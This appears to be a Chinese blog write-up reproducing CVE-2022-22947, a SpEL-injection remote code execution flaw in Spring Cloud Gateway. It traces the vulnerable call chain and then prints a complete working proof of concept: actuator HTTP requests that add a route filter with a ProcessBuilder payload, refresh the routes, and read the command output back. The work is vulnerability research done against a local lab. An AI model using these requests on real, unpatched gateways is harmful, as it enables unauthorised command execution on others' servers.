CVE-2022-22947 Spring Cloud Gateway SPEL RCE复现
0 环境搭建
影响范围:
Spring Cloud Gateway 3.1.x < 3.1.1
Spring Cloud Gateway < 3.0.7
p牛的vulhub已经搭好docker了,https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22947
也可以本地搭建
git clone https://github.com/spring-cloud/spring-cloud-gateway
cd spring-cloud-gateway
git checkout v3.1.0
然后idea打开项目,再调试或启动
1 漏洞触发点
首先找到spring-cloud-gateway的commit记录,看看修改的地方,直接来到https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e
如下:

非常标准的spel表达式使用,代码在org/springframework/cloud/gateway/support/ShortcutConfigurable#getValue()方法中,搜索其调用位置

三个枚举调用都位于ShortcutConfigurable内部的枚举类ShortcutType中,且重写了不同的normalize方法,继续向上找ShortcutType#normalize方法的调用

最终都来到org.springframework.cloud.gateway.support.ConfigurationService$ConfigurableBuilder#normalizeProperties方法中,并且传入的时该类的properties成员变量,而normalizeProperties()方法的调用只出现在该类的父类AbstractBuilder.bind()中

继续向上寻找bind方法的调用

发现org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#loadGatewayFilters方法中不仅出现了bind方法调用,还出现了properties方法调用,跟进该properties方法可见对properties成员变量的设置,即前述的org.springframework.cloud.gateway.support.ConfigurationService$ConfigurableBuilder#normalizeProperties方法中向下调用spel表达式时恰好需要的properties成员变量。
由此即可知道该漏洞的触发可能来自于gatewayFilter的添加,并且从loadGatewayFilters方法继续向上跟踪调用如下:
RouteDefinitionRouteLocator.loadGatewayFilters <- RouteDefinitionRouteLocator.getFilters <- RouteDefinitionRouteLocator.convertToRoute <- RouteDefinitionRouteLocator.getRoutes <- GatewayControllerEndpoint.route

也可以看到确实来自于filter的添加。
所以思路可以出来,由于添加filter时输入了spel表达式,被当作properties进行解析,最终导致恶意表达式被执行,从而实现rce。
再从spring cloud gateway的文档进行查看

文档的11.5中提到,使用POST请求/gateway/routes/id 并使用json格式的数据,可以创建一个route,并且从前面的格式中也可以看到,支持添加filter。
但没有给出filters字段中具体应该怎么写,但没关系,我们从源代码可以找到
org.springframework.cloud.gateway.filter.FilterDefinition这个filter的定义类中,其成员变量如下

运行程序后,再mappings里面可以看到/routes/{id}这个uri对应的方法

跟进该方法可以看到对filter给进的name有验证

调试模型下可以看到允许的name如下

这里的每种name,实际上又对应了不同的GatewayFilterFactory

其中有个AddResponseHeaderGatewayFilterFactory可以向response hedder中写入执行结果,因此恰好满足回显要求

根据这里的getName和getValue可以知道还需要添加name和value字段
2 构建poc
根据前面的信息,可以逐步汇总出poc的样子,
- 首先是POST /actuator/gateway/routes/{id}
- 然后添加json body,其中需要给出id和filters字段
- 其中filters字段需要给出name和args,而name的值需要设置为AddResponseHeader获得回显,args中需要name和value
最终poc如下
- post请求创建route和filter
POST /actuator/gateway/routes/test HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329
{
"id": "test",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result=",
"value": "#{new java.util.Scanner(new java.lang.ProcessBuilder('cmd', '/c', 'ping', 'baidu.com').start().getInputStream(), 'GBK').useDelimiter('asfsfsdfsf').next()}"
}
}],
"uri": "http://test.com"
}

- POST请求/refresh,使新建的uri和filter生效
POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

由于前面使用的spel是ping百度的,所以需要等待一会,也可以换成其它命令,比如dir、ipconfig、whoami等
- GET请求/actuator/gateway/routes/test,触发spel,并得到回显
GET /actuator/gateway/routes/test HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

得到ping命令的输出
- DELETE请求删除/actuator/gateway/routes/test
GET /actuator/gateway/routes/test HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

3 总结
昨天在twitter上看到了这个rce,没有太注意,昨天晚上看到通报,感觉这个洞还是有价值的,想着今天来复现应该差不多,结果P牛昨天就把docker上传到vulhub了,y4er师傅也写出了分析文章,跟不上啊= =
p牛和y4er师傅用的是spring自带的类处理命令执行的返回字节流,我用的是之前找到的jdk自带方法,其实都差不多
参考
https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22947
https://y4er.com/post/cve-2022-22947-springcloud-gateway-spel-rce-echo-response/
CVE-2022-22947 Spring Cloud Gateway SPEL RCE复现的更多相关文章
- Spring Cloud Gateway actuator组建对外暴露RCE问题漏洞分析
Spring Cloud gateway是什么? Spring Cloud Gateway是Spring Cloud官方推出的第二代网关框架,取代Zuul网关.网关作为流量的,在微服务系统中有着非常作 ...
- CVE-2022-22947 SpringCloud GateWay SpEL RCE
CVE-2022-22947 SpringCloud GateWay SpEL RCE 目录 CVE-2022-22947 SpringCloud GateWay SpEL RCE 写在前面 环境准备 ...
- spring cloud gateway - RequestRateLimiter
1. Official website 5.7 RequestRateLimiter GatewayFilter Factory The RequestRateLimiter GatewayFilte ...
- 网关服务Spring Cloud Gateway(三)
上篇文章介绍了 Gataway 和注册中心的使用,以及 Gataway 中 Filter 的基本使用,这篇文章我们将继续介绍 Filter 的一些常用功能. 修改请求路径的过滤器 StripPrefi ...
- spring cloud gateway 之限流篇
转载请标明出处: https://www.fangzhipeng.com 本文出自方志朋的博客 在高并发的系统中,往往需要在系统中做限流,一方面是为了防止大量的请求使服务器过载,导致服务不可用,另一方 ...
- 微服务网关实战——Spring Cloud Gateway
导读 作为Netflix Zuul的替代者,Spring Cloud Gateway是一款非常实用的微服务网关,在Spring Cloud微服务架构体系中发挥非常大的作用.本文对Spring Clou ...
- 微服务网关 Spring Cloud Gateway
1. 为什么是Spring Cloud Gateway 一句话,Spring Cloud已经放弃Netflix Zuul了.现在Spring Cloud中引用的还是Zuul 1.x版本,而这个版本是 ...
- 跟我学SpringCloud | 第十四篇:Spring Cloud Gateway高级应用
SpringCloud系列教程 | 第十四篇:Spring Cloud Gateway高级应用 Springboot: 2.1.6.RELEASE SpringCloud: Greenwich.SR1 ...
- Spring Cloud Gateway(十):网关过滤器工厂 GatewayFilterFactory
本文基于 spring cloud gateway 2.0.1 1.GatewayFilterFactory 简介 路由过滤器允许以某种方式修改传入的HTTP请求或传出的HTTP响应. 路径过滤器的范 ...
随机推荐
- SpringCloud之使用Zookeeper作为注册中心
SpringCloud之使用Zookeeper作为注册中心 linux安装zookeeper 安装zookeeper 关闭linux防火墙 启动zookeeper 1 创建项目导入依赖和配置文件 &l ...
- Azure Terraform(十)利用 Azure DevOps 的条件语句选择发布环境
一,引言 之前我讲过的所有的案例中,都是将整个Azure Resource 部署到同一个订阅下,没有做到灵活的在 Azure Pipeline 在运行前选择需要部署的环境.在实际的项目开发中,我们也会 ...
- golang中的反射reflect详解
先重复一遍反射三定律: 1.反射可以将"接口类型变量"转换为"反射类型对象". 2.反射可以将"反射类型对象"转换为"接口类型变量 ...
- lvs的三种模式
一.NAT模式(VS-NAT) 原理:就是把客户端发来的数据包的IP头的目的地址,在负载均衡器上换成其中一台RS的IP地址,并发至此RS来处理,RS处理完成后把数据交给经过负载均衡器,负载均衡器再把数 ...
- ansible roles实践——服务器初始化
1.服务器初始化可以做哪些工作 关闭selinux ntp同步时间 修改dns为自建dns 配置ssh互信 修改yum源 设置主机名 内核参数优化 安装jdk 2.roles编写
- MySQL存储引擎(最全面的概括)
目录 一:MySQL存储引擎 1.什么是存储引擎? 2.查看存储引擎信息 二:MySQL支持的存储引擎 1.存储引擎 三:innoDB存储引擎 1.特性 2.存储结构 3.优缺点.适用场景 四:MyI ...
- linux中cut命令与tr命令
目录 一:linux中cut命令 1.cut 命令作用 2.参数 3.参数案例解析: 二:tr命令 1.tr命令作用 2.tr命令格式 3.tr命令参数 4.案例解析: 一:linux中cut命令 1 ...
- JavaScript之原型链与原型链继承
原型链 定义:每个实例对象(object)都有一个私有属性(称之为 __proto__ )指向它的构造函数的原型对象(prototype).该原型对象也有一个自己的原型对象(__proto__),层层 ...
- 在Linux虚拟机上挂载文件卷
一 通过跳板机 将卷挂载在ec2 实例上的方法. 1 查询 机器上挂载了那些卷? // lsblk 是否已经是挂载卷 查看后面的目录 如果没有就是未挂载. 2 操作未挂载卷? /* sudo file ...
- plsql 存储过程 介绍。
/* 7-22 知识总结? 1. 存储过程 2.函数 3.包 */ /*1.什么是存储过程? 语法? 存储过程:类似于Java中的方法:完成一个特定的功能,一系列代码 (增删改操作和一些逻辑判断,se ...